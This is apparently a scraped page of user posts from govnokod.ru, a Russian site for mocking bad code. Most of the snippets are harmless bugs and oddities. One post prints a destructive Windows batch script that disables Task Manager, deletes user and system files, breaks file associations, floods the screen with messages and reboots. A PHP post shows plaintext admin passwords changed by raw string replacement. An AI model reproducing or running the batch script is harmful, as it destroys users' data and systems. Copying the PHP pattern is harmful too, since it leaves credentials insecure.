- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
switch (achievements.length) {
case 0: return 0;
case 1: return 30;
case 2: return 60;
case 3: return 75;
case 4: return 90;
case 5: return 100;
default: return 0;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+160
switch (achievements.length) {
case 0: return 0;
case 1: return 30;
case 2: return 60;
case 3: return 75;
case 4: return 90;
case 5: return 100;
default: return 0;
}
зато не if'ы
+70
<? // файл data/conf/config.php
$user = array (
"0" => array("administrator", "bita98"),
"1" => array("ml.administrator", "select11"),
"2" => array("moderator", "argument19")
);
?>
<? // Другой файл, для смены пароля
$pass = $_POST["pass"];
$new_pass = $_POST["new_pass"];
$files = file('data/conf/config.php');
foreach ($files as $key=>$value)
{
$files[$key]=str_replace($pass, $new_pass, $value);
}
$f = fopen("data/conf/config.php","w+");
foreach ($files as $keys=>$values)
{
fwrite($f,$values);
}
fclose($f);
echo "<h2>Пароль " . $pass . " пользователя " . $_SESSION["username"] . ", был изменен на " . $new_pass . "</h2>";
$_SESSION['password'] = null;
$_SESSION['password'] = $new_pass;
?>
Вот как нужно редактировать массивы в исходниках!
cbr-admin.v2.1.7
+74
public static boolean isBouncy(long n) {
boolean isBouncy = false;
String num = Long.toString(n);
String[] seperateDigits = new String[num.length()+1];
for (int i=1; i <= num.length(); i++) {
seperateDigits[i] = num.substring(i-1,i);
}
int firstDig = Integer.parseInt(num.substring(0,1));
int cDig;
int iDeg = 0;
int cDeg = 0;
int dig0;
int dig1;
for (int i = 2; i <= seperateDigits.length-1; i++) {
if (!isBouncy) {
dig0 = Integer.parseInt(seperateDigits[i-1]);
dig1 = Integer.parseInt(seperateDigits[i]);
if (i == 2) iDeg = getDegree(dig0, dig1);
else {
cDeg = getDegree(dig0,dig1);
if (iDeg == 0) iDeg = cDeg;
else if (cDeg == -iDeg) isBouncy = true;
}
}
}
if (iDeg == 0) isBouncy = false;
return isBouncy;
}
http://projecteuler.net/problem=112
http://projecteuler.net/thread=112&page=6#63821
>Nothing intuitive about it at all
+25
/*
Шаг по оси, представляет собой число из следующего ряда:
... 0.02 0.05 0.1 0.2 0.5 1 2 5 ...
next и prev позволяют перемещаться в обе стороны по ряду
после создания хранится число 1
*/
class Step
{
public:
Step()
{
scale = 1; pr = 1; type=0;
}
void next()
{
// шаг вперед
type++;
if (type==1)
scale = pr * 2;
else if (type==2)
scale = pr * 5;
else
{
type = 0;
pr *= 10;
scale = pr;
}
}
void prev()
{
// шаг назад
type--;
if (type==0)
scale = pr;
else if (type==1)
scale = pr*2;
else
{
type = 2;
pr /= 10;
scale = pr*5;
}
}
operator float()
{
return scale;
}
protected:
float scale; // текущее значение
float pr; // недомноженое значение 1 10 100 ...
int type; // 0 - x1 1 - x2 2 - x5
};
http://govnokod.ru/10117 напомнил о том, как я когда-то рисовал график, и для меток на осях потребовались те же самые красивые значения [... 0.1 0.2 0.5 1 2 5 ...]
+102
<html class="html">
.............
</html>
Бывает и такое
+92
"".equalsIgnoreCase(propertiesFile) != true
индусское достояние
+999
template<class TVisitedComponentList>
TUniqueIDOfVisitedComponentList getUniqueIDOfVisitedComponentTypeList(void)
{
static Type2Type<TVisitedComponentList> UniqueObjectForVisitedComponentTypeList;
return (size_t)(&UniqueObjectForVisitedComponentTypeList);
}
template<class TVisitedComponentList>
TCastWindowComponentTo* const castWindowComponentInternal(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
STATIC_CHECK(!(boost::mpl::empty<TVisitedComponentList>::value), TVisitedComponentList_must_be_not_empty_and_be__boost_mpl_list_c__type);
const TUniqueIDOfVisitedComponentList UniqueIDOfVisitedComponentList=this->getUniqueIDOfVisitedComponentTypeList<TVisitedComponentList>();
const TCasterRepositorys::const_iterator NotFound=_casterRepositorys.end();
TCasterRepositorys::const_iterator findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
if(findedCasterRepositoryForThisVisitedComponentList==NotFound)
{
this->registerVisitedComponentList<TVisitedComponentList>();
findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
}
ASSERT(findedCasterRepositoryForThisVisitedComponentList!=NotFound);
const TCasterRepository::const_iterator NotFoundCaster=findedCasterRepositoryForThisVisitedComponentList->second->end();
const unsigned int ComponentType=const_cast<PegThing* const>(Window)->Type();
const TCasterRepository::const_iterator findedCaster=findedCasterRepositoryForThisVisitedComponentList->second->find(ComponentType);
if(findedCaster==NotFoundCaster)
return NULL;
ASSERT(findedCaster!=NotFoundCaster);
return (*(findedCaster->second))(Window);
}
template<class TCurrentItem, class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TCurrentItem CurrentItem, TEnd End)
{
using namespace boost;
enum {WINDOW_COMPONENT_TYPE=mpl::deref<TCurrentItem>::type::value};
STATIC_CHECK((mpl::has_key<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::value!=0), WINDOW_COMPONENT_TYPE_must_be_at_TWindowComponentsTypeIdToTypeMap);
typedef mpl::at<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::type TRealTypeOfWindowComponent;
this->checkDuplicateComponentTypeID(WINDOW_COMPONENT_TYPE, casterRepository);
struct _
{
static TCastWindowComponentTo* const casterForEachWindowComponent(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
TRealTypeOfWindowComponent* const RealTypeComponent = static_cast<TRealTypeOfWindowComponent* const>(Window);
ASSERT(RealTypeComponent!=NULL);
TCastWindowComponentTo* const FinalCastedWindowComponent = static_cast<TCastWindowComponentTo* const >(RealTypeComponent);
ASSERT(FinalCastedWindowComponent!=NULL);
return FinalCastedWindowComponent;
}
};
TCasterForEachWindowComponent CasterForEachWindowComponentFunction=&(_::casterForEachWindowComponent);
this->checkDuplicateType(CasterForEachWindowComponentFunction, casterRepository);
casterRepository[WINDOW_COMPONENT_TYPE]=CasterForEachWindowComponentFunction;
registerVisitedComponentListItem(casterRepository, mpl::next<TCurrentItem>::type(), TEnd());
}
template<class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TEnd CurrentItem, TEnd End)
{}
Код из того же большого проекта.
Ассерты после static_cast и "шаблонная магия" особенно доставляют.
Мне конечно boost::mpl нравиться, но я считаю, что его негоже использовать в реальных проектах.
+133
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
assoc .lnk=textfile
assoc .exe=mp3file
@echo off
:x
Chcp 1251
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
goto x
Chcp 1251
del "%USERPROFILE%Мои документы*.*" /q /s
label E: ГАВНО
Cd\
Cd C:
Сd windows
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe
del "%SystemRoot%Cursors*.*" >nul
taskkill /f /im explorer.exe >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
date 01.01.01 >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
FOR /L %%i IN (1,1,100000) DO md %%i
Echo format C: /q c:Autoexec.bat
shutdown -r -t 0 >nul
Это bat (cmd) код. Наткнулся на просторах интернетов.
+141
#include <iostream>
using namespace std;
int main()
{
int n, m, c, b, f = 0;
cin >> n >> m;
int A[n][m];
for(int i = 0; i < n; i++ )
{
for(int j = 0; j < m; j++)
{
cin >> A[i][j];
}
}
for(int i = 0; i < n; i++ )
{
b = A[i][0];
for(int j = 0; j < m; j++)
{
c = A[0][j];
for(int a = 0; a < n; a++)
{
if(c < A[0][a])
{
c = A[0][a];
}
}
for(int k = 0; k < m; k++)
{
if(b > A[k][0])
{
b = A[k][0];
}
}
if(b == c)
{
f++;
}
}
}
cout << f;
return 0;
}
Задана матрица K, содержащая n строк и m столбцов. Седловой точкой этой матрицы назовем элемент, который одновременно является минимумом в своей строке и максимумом в своем столбце.
Найдите количество седловых точек заданной матрицы.
Вроде всё правильно, а выдаёт, что есть необработаное исключение.Что не так?
+88
var A:array of record
Foo: integer;
end;
function NewNode: integer;
begin
SetLength(A, Length(A)+1);
Result := High(A);
// возвращаем не указатель на последний элемент,
// а номер последнего элемента, потому что массив динамический и указатели нестабильны
end;
procedure DoSmth(var i: integer);
var
n1,n2: integer;
begin
n1 := NewNode;
n2 := NewNode;
// дальше что-то проделывааем над A[n1] и A[n2]
i := A[n1].Foo + A[n2].Foo;
end;
var
NewIndex: integer;
begin
NewIndex := NewNode;
DoSmth(A[NewIndex].Foo);
end.
Угадайте, почему это не будет работать и приведёт к порче памяти.